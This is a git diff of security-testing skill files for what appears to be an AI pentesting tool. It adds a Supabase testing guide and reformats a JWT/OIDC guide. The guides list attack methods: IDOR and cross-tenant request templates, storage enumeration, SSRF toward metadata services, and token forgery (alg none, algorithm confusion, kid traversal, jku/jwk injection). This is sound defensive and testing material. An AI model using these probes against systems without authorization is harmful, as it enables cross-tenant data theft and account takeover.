- Are Storage buckets private by default, with short-lived signed URLs bound to tenant/context?
|
|
||||||
- Does Realtime enforce RLS-equivalent filtering for subscriptions and block cross-room joins?
|
|
||||||
- Is GraphQL parity verified with REST; are nested resolvers guarded per field?
|
|
||||||
- Are Edge Functions verifying JWT (issuer/audience) and never exposing service_role to clients?
|
|
||||||
- Are CDN/cache keys bound to Authorization/tenant to prevent cache leaks?
|
|
||||||
</reviewer_checklist>
|
|
||||||
|
|
||||||
<validation>
|
|
||||||
1. Provide owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata).
|
|
||||||
2. Demonstrate a mis-scoped RPC or Storage signed URL usable by another user/tenant.
|
|
||||||
3. Confirm Realtime or GraphQL exposure matches missing policy checks.
|
|
||||||
4. Document minimal reproducible requests and role contexts used.
|
|
||||||
</validation>
|
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Tables intentionally public (documented) with non-sensitive content.
|
|
||||||
- RLS-enabled tables returning only caller-owned rows; mismatched UI not backed by API responses.
|
|
||||||
- Signed URLs with very short TTL and audience binding.
|
|
||||||
- Edge Functions verifying tokens and re-deriving context before acting.
|
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
|
||||||
- Cross-account/tenant data exposure and unauthorized state changes.
|
|
||||||
- Exfiltration of PII/PHI/PCI, financial and billing artifacts, private files.
|
|
||||||
- Privilege escalation via RPC and Edge Functions; durable access via long-lived tokens.
|
|
||||||
- Regulatory and contractual violations stemming from tenant isolation failures.
|
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
|
||||||
1. Start with /rest/v1 list/search; counts and embeddings reveal policy drift fast.
|
|
||||||
2. Treat UUIDs and signed URLs as untrusted; validate binding to subject/tenant and TTL.
|
|
||||||
3. Focus on RPC and Edge Functions—they often centralize business logic and skip RLS.
|
|
||||||
4. Test GraphQL and Realtime parity with REST; differences are where vulnerabilities hide.
|
|
||||||
5. Keep role-separated request corpora and diff responses across deployments.
|
|
||||||
6. Never assume apikey == identity; only JWT binds subject. Prove it.
|
|
||||||
7. Prefer concise PoCs: one request per role that clearly shows the unauthorized delta.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.</remember>
|
|
||||||
</supabase_security_guide>
|
|
||||||
268
strix/skills/technologies/supabase.md
Normal file
268
strix/skills/technologies/supabase.md
Normal file
@@ -0,0 +1,268 @@
|
|||||||
|
---
|
||||||
|
name: supabase
|
||||||
|
description: Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure
|
||||||
|
---
|
||||||
|
|
||||||
|
# Supabase
|
||||||
|
|
||||||
|
Security testing for Supabase applications. Focus on mis-scoped Row Level Security (RLS), unsafe RPCs, leaked `service_role` keys, lax Storage policies, and Edge Functions trusting headers without binding to issuer/audience/tenant.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
|
**Data Access**
|
||||||
|
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
||||||
|
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
||||||
|
- Realtime: replication subscriptions, broadcast/presence channels
|
||||||
|
|
||||||
|
**Storage**
|
||||||
|
- Buckets, objects, signed URLs, public/private policies
|
||||||
|
|
||||||
|
**Authentication**
|
||||||
|
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
||||||
|
|
||||||
|
**Server-Side**
|
||||||
|
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
**Endpoints**
|
||||||
|
- REST: `https://<ref>.supabase.co/rest/v1/<table>`
|
||||||
|
- RPC: `https://<ref>.supabase.co/rest/v1/rpc/<fn>`
|
||||||
|
- Storage: `https://<ref>.supabase.co/storage/v1`
|
||||||
|
- GraphQL: `https://<ref>.supabase.co/graphql/v1`
|
||||||
|
- Realtime: `wss://<ref>.supabase.co/realtime/v1`
|
||||||
|
- Auth: `https://<ref>.supabase.co/auth/v1`
|
||||||
|
- Functions: `https://<ref>.functions.supabase.co/`
|
||||||
|
|
||||||
|
**Headers**
|
||||||
|
- `apikey: <anon-or-service>` — identifies project
|
||||||
|
- `Authorization: Bearer <JWT>` — binds user context
|
||||||
|
|
||||||
|
**Roles**
|
||||||
|
- `anon`, `authenticated` — standard roles
|
||||||
|
- `service_role` — bypasses RLS, must never be client-exposed
|
||||||
|
|
||||||
|
**Key Principle**
|
||||||
|
`auth.uid()` returns current user UUID from JWT. Policies must never trust client-supplied IDs over server context.
|
||||||
|
|
||||||
|
## High-Value Targets
|
||||||
|
|
||||||
|
- Tables with sensitive data (users, orders, payments, PII)
|
||||||
|
- RPC functions (especially `SECURITY DEFINER`)
|
||||||
|
- Storage buckets with private files
|
||||||
|
- Edge Functions with `service_role` access
|
||||||
|
- Export/report endpoints generating signed outputs
|
||||||
|
- Admin/staff routes and privilege-granting endpoints
|
||||||
|
|
||||||
|
## Reconnaissance
|
||||||
|
|
||||||
|
**Enumerate Surfaces**
|
||||||
|
```
|
||||||
|
/rest/v1/<table>
|
||||||
|
/rest/v1/rpc/<fn>
|
||||||
|
/storage/v1/object/public/<bucket>/
|
||||||
|
/storage/v1/object/list/<bucket>?prefix=
|
||||||
|
/graphql/v1
|
||||||
|
/auth/v1
|
||||||
|
```
|
||||||
|
|
||||||
|
**Obtain Principals**
|
||||||
|
- Unauthenticated (anon key only)
|
||||||
|
- Basic user A, user B
|
||||||
|
- Admin/staff (if available)
|
||||||
|
- Check if `service_role` key leaked in client bundle or Edge Function responses
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Row Level Security (RLS)
|
||||||
|
|
||||||
|
Enable RLS on every non-public table; absence or "permit-all" policies → bulk exposure.
|
||||||
|
|
||||||
|
**Common Gaps**
|
||||||
|
- Policies check `auth.uid()` for SELECT but forget UPDATE/DELETE/INSERT
|
||||||
|
- Missing tenant constraints (`org_id`/`tenant_id`) allow cross-tenant access
|
||||||
|
- Policies rely on client-provided columns (`user_id` in payload) instead of JWT
|
||||||
|
- Complex joins where policy is applied after filters, enabling inference via counts
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
```bash
|
||||||
|
# Compare row counts for two users
|
||||||
|
GET /rest/v1/<table>?select=*&Prefer=count=exact
|
||||||
|
|
||||||
|
# Cross-tenant probe
|
||||||
|
GET /rest/v1/<table>?org_id=eq.<other_org>
|
||||||
|
GET /rest/v1/<table>?or=(org_id.eq.other,org_id.is.null)
|
||||||
|
|
||||||
|
# Write-path
|
||||||
|
PATCH /rest/v1/<table>?id=eq.<foreign_id>
|
||||||
|
DELETE /rest/v1/<table>?id=eq.<foreign_id>
|
||||||
|
POST /rest/v1/<table> with foreign owner_id
|
||||||
|
```
|
||||||
|
|
||||||
|
### PostgREST & REST
|
||||||
|
|
||||||
|
**Filters**
|
||||||
|
- `eq`, `neq`, `lt`, `gt`, `ilike`, `or`, `is`, `in`
|
||||||
|
- Embed relations: `select=*,profile(*)`—exploits overfetch if resolvers skip per-row checks
|
||||||
|
- Search leaks: generous `LIKE`/`ILIKE` filters combined with missing RLS → mass disclosure via wildcard queries
|
||||||
|
|
||||||
|
**Headers**
|
||||||
|
- `Prefer: return=representation` — echo writes
|
||||||
|
- `Prefer: count=exact` — exposure via counts
|
||||||
|
- `Accept-Profile`/`Content-Profile` — select schema
|
||||||
|
|
||||||
|
**IDOR Patterns**
|
||||||
|
```
|
||||||
|
/rest/v1/<table>?select=*&id=eq.<other_id>
|
||||||
|
/rest/v1/<table>?select=*&slug=eq.<other_slug>
|
||||||
|
/rest/v1/<table>?select=*&email=eq.<other_email>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Mass Assignment**
|
||||||
|
- If RPC not used, PATCH can update unintended columns
|
||||||
|
- Verify restricted columns via database permissions/policies
|
||||||
|
|
||||||
|
### RPC Functions
|
||||||
|
|
||||||
|
RPC endpoints map to SQL functions. `SECURITY DEFINER` bypasses RLS unless carefully coded; `SECURITY INVOKER` respects caller.
|
||||||
|
|
||||||
|
**Anti-Patterns**
|
||||||
|
- `SECURITY DEFINER` + missing owner checks → vertical/horizontal bypass
|
||||||
|
- `set search_path` left to public; function resolves unsafe objects
|
||||||
|
- Trusting client-supplied `user_id`/`tenant_id` rather than `auth.uid()`
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
```bash
|
||||||
|
# Call as different users with foreign IDs
|
||||||
|
POST /rest/v1/rpc/<fn> {"user_id": "<foreign_id>"}
|
||||||
|
|
||||||
|
# Remove JWT entirely
|
||||||
|
Authorization: Bearer <anon_token>
|
||||||
|
```
|
||||||
|
Verify functions perform explicit ownership/tenant checks inside SQL.
|
||||||
|
|
||||||
|
### Storage
|
||||||
|
|
||||||
|
**Buckets**
|
||||||
|
- Public vs private; objects in `storage.objects` with RLS-like policies
|
||||||
|
|
||||||
|
**Misconfigurations**
|
||||||
|
```bash
|
||||||
|
# Public bucket with sensitive data
|
||||||
|
GET /storage/v1/object/public/<bucket>/<path>
|
||||||
|
|
||||||
|
# List prefixes without auth
|
||||||
|
GET /storage/v1/object/list/<bucket>?prefix=
|
||||||
|
|
||||||
|
# Signed URL reuse across tenants/paths
|
||||||
|
```
|
||||||
|
|
||||||
|
**Content-Type Abuse**
|
||||||
|
- Upload HTML/SVG served as `text/html` or `image/svg+xml`
|
||||||
|
- Verify `X-Content-Type-Options: nosniff` and `Content-Disposition: attachment`
|
||||||
|
|
||||||
|
**Path Confusion**
|
||||||
|
- Mixed case, URL-encoding, `..` segments may be rejected at UI but accepted by API
|
||||||
|
- Test path normalization differences between client validation and server handling
|
||||||
|
|
||||||
|
### Realtime
|
||||||
|
|
||||||
|
**Endpoint**: `wss://<ref>.supabase.co/realtime/v1`
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Channel names derived from table/schema/filters leaking other users' updates when RLS or channel guards are weak
|
||||||
|
- Broadcast/presence channels allowing cross-room join/publish without auth
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Subscribe to `public:realtime` changes on protected tables; confirm visibility aligns with RLS
|
||||||
|
- Attempt joining other users' channels: `room:<user_id>`, `org:<org_id>`
|
||||||
|
|
||||||
|
### GraphQL
|
||||||
|
|
||||||
|
**Endpoint**: `/graphql/v1` using pg_graphql with RLS
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Introspection reveals schema relations
|
||||||
|
- Overfetch via nested relations where resolvers skip per-row ownership checks
|
||||||
|
- Global node IDs leaked and reusable via different viewers
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Compare REST vs GraphQL responses for same principal and query shape
|
||||||
|
- Query deep nested fields; verify RLS holds at each edge
|
||||||
|
|
||||||
|
### Auth & Tokens
|
||||||
|
|
||||||
|
GoTrue issues JWTs with claims (`sub=uid`, `role`, `aud=authenticated`).
|
||||||
|
|
||||||
|
**Verification Requirements**
|
||||||
|
- Issuer, audience, expiration, signature, tenant context
|
||||||
|
|
||||||
|
**Pitfalls**
|
||||||
|
- Storing tokens in localStorage → XSS exfiltration
|
||||||
|
- Treating `apikey` as identity (it's project-scoped, not user identity)
|
||||||
|
- Exposing `service_role` key in client bundle or Edge Function responses
|
||||||
|
- Refresh token mismanagement leading to long-lived sessions beyond intended TTL
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Replay tokens across services; check audience/issuer pinning
|
||||||
|
- Try downgraded tokens (expired/other audience) against custom endpoints
|
||||||
|
|
||||||
|
### Edge Functions
|
||||||
|
|
||||||
|
Deno-based functions often initialize Supabase client with `service_role`.
|
||||||
|
|
||||||
|
**Risks**
|
||||||
|
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience
|
||||||
|
- CORS: wildcard origins with credentials; reflected Authorization in responses
|
||||||
|
- SSRF via fetch; secrets exposed via error traces or logs
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Call functions with and without Authorization; compare behavior
|
||||||
|
- Try foreign resource IDs in payloads; verify server re-derives user/tenant from JWT
|
||||||
|
- Attempt to reach internal endpoints (metadata services) via function fetch
|
||||||
|
|
||||||
|
### Tenant Isolation
|
||||||
|
|
||||||
|
Ensure every query joins or filters by `tenant_id`/`org_id` derived from JWT context, not client input.
|
||||||
|
|
||||||
|
**Tests**
|
||||||
|
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant
|
||||||
|
- Export/report endpoints: confirm queries execute under caller scope
|
||||||
|
|
||||||
|
## Bypass Techniques
|
||||||
|
|
||||||
|
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data`
|
||||||
|
- Parameter pollution: duplicate keys in JSON/query (PostgREST chooses last/first depending on parser)
|
||||||
|
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path
|
||||||
|
- Race windows: parallel writes to bypass post-insert ownership updates
|
||||||
|
|
||||||
|
## Blind Enumeration
|
||||||
|
|
||||||
|
- Use `Prefer: count=exact` and ETag/length diffs to infer unauthorized rows
|
||||||
|
- Conditional requests (`If-None-Match`) to detect object existence
|
||||||
|
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens
|
||||||
|
|
||||||
|
## Testing Methodology
|
||||||
|
|
||||||
|
1. **Inventory surfaces** - Map REST, Storage, GraphQL, Realtime, Auth, Functions endpoints
|
||||||
|
2. **Obtain principals** - Collect tokens for anon, user A/B, admin; check for `service_role` leaks
|
||||||
|
3. **Build matrix** - Resource × Action × Principal
|
||||||
|
4. **REST vs GraphQL** - Test both to find parity gaps
|
||||||
|
5. **Seed IDs** - Start with list/search endpoints to gather IDs
|
||||||
|
6. **Cross-principal** - Swap IDs, tenants, and transports across principals
|
||||||
|
|
||||||
|
## Tooling
|
||||||
|
|
||||||
|
- PostgREST: httpie/curl + jq; enumerate tables; fuzz filters (`or=`, `ilike`, `neq`, `is.null`)
|
||||||
|
- GraphQL: graphql-inspector, voyager; deep queries for field-level enforcement
|
||||||
|
- Realtime: custom ws client; subscribe to suspicious channels; diff payloads per principal
|
||||||
|
- Storage: enumerate bucket listing APIs; script signed URL patterns
|
||||||
|
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions
|
||||||
|
- Policy diffing: maintain request sets per role; compare results across releases
|
||||||
|
|
||||||
|
## Validation Requirements
|
||||||
|
|
||||||
|
- Owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata)
|
||||||
|
- Mis-scoped RPC or Storage signed URL usable by another user/tenant
|
||||||
|
- Realtime or GraphQL exposure matching missing policy checks
|
||||||
|
- Minimal reproducible requests with role contexts documented
|
||||||
@@ -1,147 +1,156 @@
|
|||||||
<authentication_jwt_guide>
|
---
|
||||||
<title>AUTHENTICATION AND JWT/OIDC</title>
|
name: authentication-jwt
|
||||||
|
description: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
|
||||||
|
---
|
||||||
|
|
||||||
<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
|
# Authentication / JWT / OIDC
|
||||||
|
|
||||||
|
JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
|
||||||
|
|
||||||
|
## Attack Surface
|
||||||
|
|
||||||
<scope>
|
|
||||||
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
||||||
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
||||||
- First-party and microservices verification, gateways, and JWKS distribution
|
- First-party and microservices verification, gateways, and JWKS distribution
|
||||||
</scope>
|
|
||||||
|
|
||||||
<methodology>
|
## Reconnaissance
|
||||||
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
|
|
||||||
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
|
|
||||||
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
|
|
||||||
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<discovery_techniques>
|
### Endpoints
|
||||||
<endpoints>
|
|
||||||
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
|
|
||||||
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
|
|
||||||
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
|
|
||||||
- App: /login, /callback, /refresh, /me, /session, /impersonate
|
|
||||||
</endpoints>
|
|
||||||
|
|
||||||
<token_features>
|
- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`
|
||||||
- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
|
- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS
|
||||||
- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
|
- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints
|
||||||
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
|
- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`
|
||||||
</token_features>
|
|
||||||
</discovery_techniques>
|
### Token Features
|
||||||
|
|
||||||
|
- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
|
||||||
|
- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
|
||||||
|
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`"b64":false`) and critical headers (`"crit"`)
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Signature Verification
|
||||||
|
|
||||||
<exploitation_techniques>
|
|
||||||
<signature_verification>
|
|
||||||
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
|
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
|
||||||
- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
|
- "none" algorithm acceptance: set `"alg":"none"` and drop the signature if libraries accept it
|
||||||
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
|
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
|
||||||
</signature_verification>
|
|
||||||
|
|
||||||
<header_manipulation>
|
### Header Manipulation
|
||||||
- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
|
|
||||||
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
|
||||||
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
||||||
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
|
- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
||||||
</header_manipulation>
|
- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts
|
||||||
|
|
||||||
|
### Key and Cache Issues
|
||||||
|
|
||||||
<key_and_cache_issues>
|
|
||||||
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
||||||
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
||||||
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
|
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
|
||||||
</key_and_cache_issues>
|
|
||||||
|
|
||||||
<claims_validation_gaps>
|
### Claims Validation Gaps
|
||||||
|
|
||||||
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
|
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
|
||||||
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
|
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
|
||||||
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
||||||
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
||||||
</claims_validation_gaps>
|
|
||||||
|
|
||||||
<token_confusion_and_oidc>
|
### Token Confusion and OIDC
|
||||||
|
|
||||||
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
||||||
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
||||||
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
||||||
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login
|
||||||
</token_confusion_and_oidc>
|
- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
||||||
|
|
||||||
|
### Refresh and Session
|
||||||
|
|
||||||
<refresh_and_session>
|
|
||||||
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
||||||
- Long-lived JWTs with no revocation: persistent access post-logout
|
- Long-lived JWTs with no revocation: persistent access post-logout
|
||||||
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
||||||
</refresh_and_session>
|
|
||||||
|
|
||||||
<transport_and_storage>
|
### Transport and Storage
|
||||||
|
|
||||||
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
||||||
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
||||||
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
|
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
|
||||||
</transport_and_storage>
|
|
||||||
</exploitation_techniques>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
## Advanced Techniques
|
||||||
<microservices_and_gateways>
|
|
||||||
|
### Microservices and Gateways
|
||||||
|
|
||||||
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
||||||
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
||||||
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
||||||
</microservices_and_gateways>
|
|
||||||
|
|
||||||
<jws_edge_cases>
|
### JWS Edge Cases
|
||||||
|
|
||||||
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
||||||
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
||||||
</jws_edge_cases>
|
|
||||||
|
|
||||||
<special_contexts>
|
## Special Contexts
|
||||||
<mobile>
|
|
||||||
|
### Mobile
|
||||||
|
|
||||||
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
||||||
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
||||||
</mobile>
|
|
||||||
|
|
||||||
<sso_federation>
|
### SSO Federation
|
||||||
|
|
||||||
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
||||||
</sso_federation>
|
|
||||||
</special_contexts>
|
|
||||||
|
|
||||||
<chaining_attacks>
|
## Chaining Attacks
|
||||||
|
|
||||||
- XSS → token theft → replay across services with weak audience checks
|
- XSS → token theft → replay across services with weak audience checks
|
||||||
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
||||||
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
||||||
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
||||||
</chaining_attacks>
|
|
||||||
|
|
||||||
<validation>
|
## Testing Methodology
|
||||||
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
|
|
||||||
2. Demonstrate access token vs ID token confusion at an API.
|
1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients
|
||||||
3. Prove refresh token reuse without rotation detection or revocation.
|
2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature
|
||||||
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
|
3. **Map verification endpoints** - `/.well-known`, `/jwks.json`
|
||||||
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
|
4. **Build matrix** - Token Type × Audience × Service; attempt cross-use
|
||||||
</validation>
|
5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures
|
||||||
|
6. **Verify enforcement** - What is actually checked vs assumed
|
||||||
|
|
||||||
|
## Validation
|
||||||
|
|
||||||
|
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS)
|
||||||
|
2. Demonstrate access token vs ID token confusion at an API
|
||||||
|
3. Prove refresh token reuse without rotation detection or revocation
|
||||||
|
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control
|
||||||
|
5. Provide owner vs non-owner evidence with identical requests differing only in token context
|
||||||
|
|
||||||
|
## False Positives
|
||||||
|
|
||||||
<false_positives>
|
|
||||||
- Token rejected due to strict audience/issuer enforcement
|
- Token rejected due to strict audience/issuer enforcement
|
||||||
- Key pinning with JWKS whitelist and TLS validation
|
- Key pinning with JWKS whitelist and TLS validation
|
||||||
- Short-lived tokens with rotation and revocation on logout
|
- Short-lived tokens with rotation and revocation on logout
|
||||||
- ID token not accepted by APIs that require access tokens
|
- ID token not accepted by APIs that require access tokens
|
||||||
</false_positives>
|
|
||||||
|
|
||||||
<impact>
|
## Impact
|
||||||
|
|
||||||
- Account takeover and durable session persistence
|
- Account takeover and durable session persistence
|
||||||
- Privilege escalation via claim manipulation or cross-service acceptance
|
- Privilege escalation via claim manipulation or cross-service acceptance
|
||||||
- Cross-tenant or cross-application data access
|
- Cross-tenant or cross-application data access
|
||||||
- Token minting by attacker-controlled keys or endpoints
|
- Token minting by attacker-controlled keys or endpoints
|
||||||
</impact>
|
|
||||||
|
|
||||||
<pro_tips>
|
## Pro Tips
|
||||||
1. Pin verification to issuer and audience; log and diff claim sets across services.
|
|
||||||
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
|
|
||||||
3. Test token reuse across all services; many backends only check signature, not audience/typ.
|
|
||||||
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
|
|
||||||
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
|
|
||||||
6. Try DPoP/mTLS absence to replay tokens from different devices.
|
|
||||||
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
|
|
||||||
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
|
|
||||||
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
|
|
||||||
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
|
|
||||||
</pro_tips>
|
|
||||||
|
|
||||||
<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
|
1. Pin verification to issuer and audience; log and diff claim sets across services
|
||||||
</authentication_jwt_guide>
|
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk)
|
||||||
|
